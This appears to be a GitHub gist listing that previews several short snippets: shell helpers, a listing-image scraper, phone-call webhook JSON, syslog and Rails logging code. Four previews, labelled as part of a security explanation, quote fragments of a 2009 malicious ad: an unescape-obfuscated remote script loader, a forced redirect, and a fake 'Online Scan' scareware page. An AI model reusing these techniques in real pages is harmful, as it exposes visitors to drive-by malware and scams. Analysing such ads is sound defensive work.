This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
d () { | |
# see http://troy.yort.com/short-fast-micro-whois | |
result=`dig -t NS "$1" | grep -c "ANSWER SECTION"` | |
if [ "$result" = "0" ]; then | |
# some registered domains have no NS resource record in root servers; may | |
# be false negative, so confirm with whois | |
result=`whois -n "$1" | grep -c "Registrar: "` | |
fi | |
echo $result | |
return $result |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# usage: redfin-images "http://www.redfin.com/WA/Seattle/123-Home-Row-12345/home/1234567" | |
function redfin-images() { | |
wget -O - $1 | grep "full:" | awk -F \" '{print $4}' | xargs wget - | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- part of a security explanation - see | |
http://www.nytimes.com/2009/09/13/business/media/13note.html and | |
http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com --> | |
<html><body style="margin:0; padding:0;"> | |
<script type="text/javascript"> | |
var rightNow = new Date(); | |
var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0); | |
var temp = date1.toGMTString(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// part of a security explanation - see | |
// http://www.nytimes.com/2009/09/13/business/media/13note.html and | |
// http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com | |
document.write(unescape("%3Cscript src='http://" + cur_domain + "/includes02.js' type='text/javascript'%3E%3C/script%3E")); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// part of a security explanation - see | |
// http://www.nytimes.com/2009/09/13/business/media/13note.html and | |
// http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com | |
if (top.location!= self.location) { | |
top.location = action_URL; | |
} else { | |
window.location = action_URL; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- part of a security explanation - see | |
http://www.nytimes.com/2009/09/13/business/media/13note.html and | |
http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com --> | |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml"><head> | |
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> | |
<title>My computer Online Scan</title> | |
<script type="text/javascript" src="img/jquery.js"></script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[{"name":"onhangup","url":"http://api.notify.io/v1/notify/your_notifyio_id?api_key=your_source_api_key","method":"post","url_options":{"title":"Call","text":"from ${callerid}"}}, | |
{"name":"onhangup","url":"http://watercoolr.nuklei.com/messages","method":"post","url_options":{"channel":"channel_id","message":"Cloudvox call from ${callerid}"}}, | |
{"name":"speak","phrase":"in a moment, all of my notify.io recipients will know you've called. indeed."}] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# replace PAPERTRAIL_HOSTNAME and PAPERTRAIL_PORT | |
# see http://help.papertrailapp.com/ for additional PHP syslog options | |
function send_remote_syslog($message, $component = "web", $program = "next_big_thing") { | |
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); | |
foreach(explode("\n", $message) as $line) { | |
$syslog_message = "<22>" . date('M d H:i:s ') . $program . ' ' . $component . ': ' . $line; | |
socket_sendto($sock, $syslog_message, strlen($syslog_message), 0, PAPERTRAIL_HOSTNAME, PAPERTRAIL_PORT); | |
} | |
socket_close($sock); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Outputs this at warn log level: | |
# 1.2.3.4 GET /path 200 OK BlahController#action HTML 938.2 (DB 11.8, View 719.7) {params} {optional params from flash[:log]} | |
# | |
# Save as config/initializers/oneline_detailed_logging.rb. Consider | |
# decreasing the log level from "info" to "warn" (in production.rb) so | |
# the one-line log message replaces the standard request logs. | |
# override process_action to add 2 things to the payload: | |
# - remote IP |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# DEPRECATED | |
# You probably want one of these newer, better examples: | |
# http://help.papertrailapp.com/kb/hosting-services/amazon-elastic-beanstalk | |
# Credits: | |
# Jason Pirkey, Táve Corporation, http://www.tave.com/ | |
# Jeremy Mickelson, https://github.com/CyborgMaster | |
# See http://help.papertrailapp.com/kb/hosting-services/amazon-elastic-beanstalk |
OlderNewer